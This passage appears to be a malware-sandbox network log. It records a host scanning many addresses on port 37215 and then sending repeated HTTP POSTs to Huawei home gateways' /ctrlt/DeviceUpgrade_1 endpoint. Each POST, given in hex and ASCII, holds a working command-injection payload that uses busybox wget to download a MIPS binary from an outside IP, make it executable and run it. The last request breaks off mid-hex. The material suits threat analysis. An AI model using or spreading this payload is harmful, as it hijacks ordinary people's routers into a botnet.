Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.184.176.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.11.200.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.62.96.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.216.138.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.47.174.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.75.161.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.1.253.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.255.237.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.215.225.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.246.240.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.17.187.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.89.242.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.9.78.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.132.215.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.184.146.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.130.105.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.199.212.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.225.131.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.199.231.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.33.240.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.199.46.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.196.251.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.13.135.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.203.183.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.202.166.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.180.196.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.178.146.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.91.24.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.11.184.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.98.7.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.161.142.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.127.147.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.250.248.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.141.255.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.71.112.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.150.239.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.122.223.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.177.203.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 41.132.45.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.6.49.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.62.96.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.43.7.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.143.115.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.2.192.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.58.68.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 197.104.71.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:30401 -> 156.182.169.40:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 